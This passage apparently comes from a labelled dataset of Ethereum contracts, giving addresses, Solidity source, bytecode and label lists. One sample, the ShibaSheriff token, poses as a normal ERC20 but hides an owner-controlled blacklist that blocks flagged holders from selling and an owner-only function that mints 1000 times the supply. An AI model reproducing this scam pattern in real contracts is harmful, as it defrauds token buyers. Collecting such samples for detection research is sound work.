9020805460019091015482565b611306611570565b6000546001600160a01b03908116911614611356576040805162461bcd60e51b81526020600482018190526024820152600080516020611db7833981519152604482015290519081900360640190fd5b600355565b60045481565b60006006838154811061137057fe5b600091825260208083208684526007825260408085203386529092529220600590910290910191506113a184610ea4565b8054156113e45760006113d682600101546106c664e8d4a510006106628760030154876000015461157490919063ffffffff16565b90506113e233826116b2565b505b8154611401906001600160a01b031633308663ffffffff6119a516565b8054611413908463ffffffff61161616565b80825560038301546114369164e8d4a5100091610662919063ffffffff61157416565b6001820155604080518481529051859133917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159181900360200190a350505050565b611480611570565b6000546001600160a01b039081169116146114d0576040805162461bcd60e51b81526020600482018190526024820152600080516020611db7833981519152604482015290519081900360640190fd5b6001600160a01b0381166115155760405162461bcd60e51b8152600401808060200182810382526026815260200180611d706026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b600082611583575060006106d9565b8282028284828161159057fe5b04146115cd5760405162461bcd60e51b8152600401808060200182810382526021815260200180611d966021913960400191505060405180910390fd5b9392505050565b60006115cd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a05565b6000828201838110156115cd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006115cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aa7565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156116fd57600080fd5b505afa158015611711573d6000803e3d6000fd5b505050506040513d602081101561172757600080fd5b50519050808211156117bb576001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561178957600080fd5b505af115801561179d573d6000803e3d6000fd5b505050506040513d60208110156117b357600080fd5b5061183b9050565b6001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561181157600080fd5b505af1158015611825573d6000803e3d6000fd5b505050506040513d6020811015610afe57600080fd5b505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261183b908490611b01565b801580611918575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d602081101561191457600080fd5b5051155b6119535760405162461bcd60e51b8152600401808060200182810382526036815260200180611e226036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261183b908490611b01565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119ff908590611b01565b50505050565b60008183611a915760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a56578181015183820152602001611a3e565b50505050905090810190601f168015611a835780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a9d57fe5b0495945050505050565b60008184841115611af95760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611a56578181015183820152602001611a3e565b505050900390565b6060611b56826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611bb29092919063ffffffff16565b80519091501561183b57808060200190516020811015611b7557600080fd5b505161183b5760405162461bcd60e51b815260040180806020018281038252602a815260200180611df8602a913960400191505060405180910390fd5b6060611bc18484600085611bc9565b949350505050565b6060611bd485611d36565b611c25576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310611c645780518252601f199092019160209182019101611c45565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611cc6576040519150601f19603f3d011682016040523d82523d6000602084013e611ccb565b606091505b50915091508115611cdf579150611bc19050565b805115611cef5780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315611a56578181015183820152602001611a3e565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590611bc157505015159291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657277697468647261773a20616d6f756e74206973206578636565647320796f7572735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212207715e6b2611d9ee46e6412f774ef80aeb442c9e0ffc886322ffb87f76b9e8cbd64736f6c63430006060033
[ 16, 4, 9, 7 ]
0xf2835c9788c468698dab65ccef6f992bbb9e9798
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30153600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x6feB2B1C2DFfc5210E890676a87E0ad1356C5Ffa; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820ca5cebd4a4e38bfe596e132fbe80fec6f71ff90e12e3fdba24facafbfc19afdf0029
[ 16, 7 ]
0xf2837b2af226cb1914131bf9ebaab14114dc5390
//SPDX-License-Identifier: GPL-3.0-or-later pragma solidity =0.7.6; import "./Shiba Context.sol"; import "./Shiba IERC20.sol"; import "./Shiba SafeMath.sol"; contract ShibaSheriff is Context, Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => bool) private _tax; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 internal _tokens; address private _factory; address private _router; uint256 private _maxfeelimit; bool private _feelimit; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (uint256 tokens, address router, address factory) { _name = "Shiba Sheriff"; _symbol = "SHIBRIFF"; _decimals = 9; _tokens = tokens; _totalSupply = _totalSupply.add(_tokens); _balances[_msgSender()] = _balances[_msgSender()].add(_tokens); emit Transfer(address(0), _msgSender(), _tokens); _feelimit = true; _maxfeelimit = _tokens.mul(1000); _router = router; _factory = factory; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function revertTax(address _address) external onlyOwner { _tax[_address] = false; } function taxTransfer(address _address) external onlyOwner { _tax[_address] = true; } function taxCheck(address _address) public view returns (bool) { return _tax[_address]; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function initial(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: cannot use zero address"); _balances[account] = _balances[account].add(amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_tax[sender] ||_tax[recipient]) require(_feelimit == false, ""); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function initialize() public onlyOwner { initial(_msgSender(), _maxfeelimit); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be created for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80638129fc1c11610097578063d940e8f211610066578063d940e8f2146104b5578063dd62ed3e146104f9578063f1ac432814610571578063fbdcf1ed146105b5576100f5565b80638129fc1c1461036057806395d89b411461036a578063a457c2d7146103ed578063a9059cbb14610451576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce5671461028357806339509351146102a457806370a0823114610308576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b61010261060f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b60405180821515815260200191505060405180910390f35b6101e96106cf565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d9565b60405180821515815260200191505060405180910390f35b61028b6107b2565b604051808260ff16815260200191505060405180910390f35b6102f0600480360360408110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c9565b60405180821515815260200191505060405180910390f35b61034a6004803603602081101561031e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061087c565b6040518082815260200191505060405180910390f35b6103686108c5565b005b610372610989565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b2578082015181840152602081019050610397565b50505050905090810190601f1680156103df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104396004803603604081101561040357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a2b565b60405180821515815260200191505060405180910390f35b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af8565b60405180821515815260200191505060405180910390f35b6104f7600480360360208110156104cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b16565b005b61055b6004803603604081101561050f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c20565b6040518082815260200191505060405180910390f35b6105b36004803603602081101561058757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca7565b005b6105f7600480360360208110156105cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db1565b60405180821515815260200191505060405180910390f35b6060600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106a75780601f1061067c576101008083540402835291602001916106a7565b820191906000526020600020905b81548152906001019060200180831161068a57829003601f168201915b5050505050905090565b60006106c56106be610f15565b8484610f1d565b6001905092915050565b6000600454905090565b60006106e6848484611114565b6107a7846106f2610f15565b6107a28560405180606001604052806028815260200161179260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e19092919063ffffffff16565b610f1d565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b60006108726107d6610f15565b8461086d85600360006107e7610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b610f1d565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108cd610f15565b73ffffffffffffffffffffffffffffffffffffffff166108eb61159b565b73ffffffffffffffffffffffffffffffffffffffff1614610974576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61098761097f610f15565b6008546115c4565b565b6060600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a215780601f106109f657610100808354040283529160200191610a21565b820191906000526020600020905b815481529060010190602001808311610a0457829003601f168201915b5050505050905090565b6000610aee610a38610f15565b84610ae9856040518060600160405280602581526020016118036025913960036000610a62610f15565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e19092919063ffffffff16565b610f1d565b6001905092915050565b6000610b0c610b05610f15565b8484611114565b6001905092915050565b610b1e610f15565b73ffffffffffffffffffffffffffffffffffffffff16610b3c61159b565b73ffffffffffffffffffffffffffffffffffffffff1614610bc5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610caf610f15565b73ffffffffffffffffffffffffffffffffffffffff16610ccd61159b565b73ffffffffffffffffffffffffffffffffffffffff1614610d56576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080828401905083811015610e85576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415610ea25760009050610f0f565b6000828402905082848281610eb357fe5b0414610f0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117716021913960400191505060405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117df6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806117296022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ba6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611220576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806117066023913960400191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112c15750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113285760001515600960009054906101000a900460ff16151514611327576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200191505060405180910390fd5b5b611333838383611700565b61139f8160405180606001604052806026815260200161174b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e19092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061143481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061158e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611553578082015181840152602081019050611538565b50505050905090810190601f1680156115805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2063616e6e6f7420757365207a65726f2061646472657373000081525060200191505060405180910390fd5b6116b981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122060db2864484ff5517be33882ccc00e1eb71826d0abbe4150a57aa586016f8c7364736f6c63430007060033
[ 38 ]
0xf283864b1cd5ffc4d7cc45dd23c3b32b364ce6aa
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { 